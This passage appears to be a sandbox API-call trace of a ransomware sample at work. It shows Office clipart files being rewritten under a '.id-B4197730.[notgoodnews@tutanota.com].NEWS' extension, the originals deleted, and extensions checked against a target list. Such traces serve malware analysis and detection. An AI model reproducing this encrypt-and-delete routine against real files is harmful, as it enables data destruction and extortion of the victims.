hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.474] GetLastError () returned 0x0 [0089.474] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1526, lpOverlapped=0x0) returned 1 [0089.476] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1530, lpOverlapped=0x0) returned 1 [0089.476] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.477] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.477] SetEndOfFile (hFile=0x374) returned 1 [0089.477] CloseHandle (hObject=0x374) returned 1 [0089.477] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.477] SetEndOfFile (hFile=0x38c) returned 1 [0089.478] CloseHandle (hObject=0x38c) returned 1 [0089.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0089.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.478] lstrlenW (lpString=".doc") returned 4 [0089.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.478] lstrlenW (lpString=".docx") returned 5 [0089.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.478] lstrlenW (lpString=".pdf") returned 4 [0089.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.478] lstrlenW (lpString=".xls") returned 4 [0089.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.478] lstrlenW (lpString=".xlsx") returned 5 [0089.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.478] lstrlenW (lpString=".ppt") returned 4 [0089.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".zip") returned 4 [0089.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.479] lstrlenW (lpString=".rar") returned 4 [0089.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".bz2") returned 4 [0089.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".7z") returned 3 [0089.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".dbf") returned 4 [0089.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".1cd") returned 4 [0089.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".jpg") returned 4 [0089.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".doc") returned 4 [0089.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".docx") returned 5 [0089.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.479] lstrlenW (lpString=".pdf") returned 4 [0089.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".xls") returned 4 [0089.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.479] lstrlenW (lpString=".xlsx") returned 5 [0089.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.479] lstrlenW (lpString=".ppt") returned 4 [0089.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.479] lstrlenW (lpString=".zip") returned 4 [0089.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.479] lstrlenW (lpString=".rar") returned 4 [0089.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".bz2") returned 4 [0089.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.479] lstrlenW (lpString=".7z") returned 3 [0089.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.480] lstrlenW (lpString=".dbf") returned 4 [0089.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.480] lstrlenW (lpString=".1cd") returned 4 [0089.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0089.480] lstrlenW (lpString=".jpg") returned 4 [0089.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.480] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.480] lstrlenW (lpString="HH01875_.WMF") returned 12 [0089.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.480] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2616) returned 1 [0089.480] CloseHandle (hObject=0x38c) returned 1 [0089.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0089.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.481] GetLastError () returned 0x0 [0089.481] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa38, lpOverlapped=0x0) returned 1 [0089.864] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa40, lpOverlapped=0x0) returned 1 [0089.865] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.865] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.866] SetEndOfFile (hFile=0x374) returned 1 [0089.866] CloseHandle (hObject=0x374) returned 1 [0089.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.866] SetEndOfFile (hFile=0x38c) returned 1 [0089.867] CloseHandle (hObject=0x38c) returned 1 [0089.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0089.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.867] lstrlenW (lpString=".doc") returned 4 [0089.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.867] lstrlenW (lpString=".docx") returned 5 [0089.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.867] lstrlenW (lpString=".pdf") returned 4 [0089.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.867] lstrlenW (lpString=".xls") returned 4 [0089.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.867] lstrlenW (lpString=".xlsx") returned 5 [0089.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.868] lstrlenW (lpString=".ppt") returned 4 [0089.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString=".zip") returned 4 [0089.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.868] lstrlenW (lpString=".rar") returned 4 [0089.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString=".bz2") returned 4 [0089.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString=".7z") returned 3 [0089.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString=".dbf") returned 4 [0089.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString=".1cd") returned 4 [0089.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString=".jpg") returned 4 [0089.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.868] lstrlenW (lpString=".doc") returned 4 [0089.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString=".docx") returned 5 [0089.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.868] lstrlenW (lpString=".pdf") returned 4 [0089.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString=".xls") returned 4 [0089.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.868] lstrlenW (lpString=".xlsx") returned 5 [0089.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.868] lstrlenW (lpString=".ppt") returned 4 [0089.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.869] lstrlenW (lpString=".zip") returned 4 [0089.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.869] lstrlenW (lpString=".rar") returned 4 [0089.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.869] lstrlenW (lpString=".bz2") returned 4 [0089.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.869] lstrlenW (lpString=".7z") returned 3 [0089.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.869] lstrlenW (lpString=".dbf") returned 4 [0089.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.869] lstrlenW (lpString=".1cd") returned 4 [0089.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0089.869] lstrlenW (lpString=".jpg") returned 4 [0089.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.937] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.937] lstrlenW (lpString="IN00177_.WMF") returned 12 [0089.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.938] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1074) returned 1 [0089.938] CloseHandle (hObject=0x2c4) returned 1 [0089.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0089.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.938] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.939] GetLastError () returned 0x0 [0089.939] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x432, lpOverlapped=0x0) returned 1 [0089.941] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x440, lpOverlapped=0x0) returned 1 [0089.943] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.943] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.943] SetEndOfFile (hFile=0x390) returned 1 [0089.944] CloseHandle (hObject=0x390) returned 1 [0089.944] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.944] SetEndOfFile (hFile=0x2c4) returned 1 [0089.945] CloseHandle (hObject=0x2c4) returned 1 [0089.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.945] lstrlenW (lpString=".doc") returned 4 [0089.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.945] lstrlenW (lpString=".docx") returned 5 [0089.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.945] lstrlenW (lpString=".pdf") returned 4 [0089.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.945] lstrlenW (lpString=".xls") returned 4 [0089.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.945] lstrlenW (lpString=".xlsx") returned 5 [0089.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.945] lstrlenW (lpString=".ppt") returned 4 [0089.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".zip") returned 4 [0089.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.946] lstrlenW (lpString=".rar") returned 4 [0089.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString=".bz2") returned 4 [0089.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString=".7z") returned 3 [0089.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".dbf") returned 4 [0089.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".1cd") returned 4 [0089.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".jpg") returned 4 [0089.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".doc") returned 4 [0089.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString=".docx") returned 5 [0089.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.946] lstrlenW (lpString=".pdf") returned 4 [0089.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString=".xls") returned 4 [0089.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.946] lstrlenW (lpString=".xlsx") returned 5 [0089.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.946] lstrlenW (lpString=".ppt") returned 4 [0089.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.946] lstrlenW (lpString=".zip") returned 4 [0089.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.946] lstrlenW (lpString=".rar") returned 4 [0089.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.947] lstrlenW (lpString=".bz2") returned 4 [0089.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.947] lstrlenW (lpString=".7z") returned 3 [0089.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.947] lstrlenW (lpString=".dbf") returned 4 [0089.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.947] lstrlenW (lpString=".1cd") returned 4 [0089.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0089.947] lstrlenW (lpString=".jpg") returned 4 [0089.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.947] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.947] lstrlenW (lpString="IN00204_.WMF") returned 12 [0089.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.948] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1848) returned 1 [0089.948] CloseHandle (hObject=0x2c4) returned 1 [0089.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0089.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.948] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.948] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 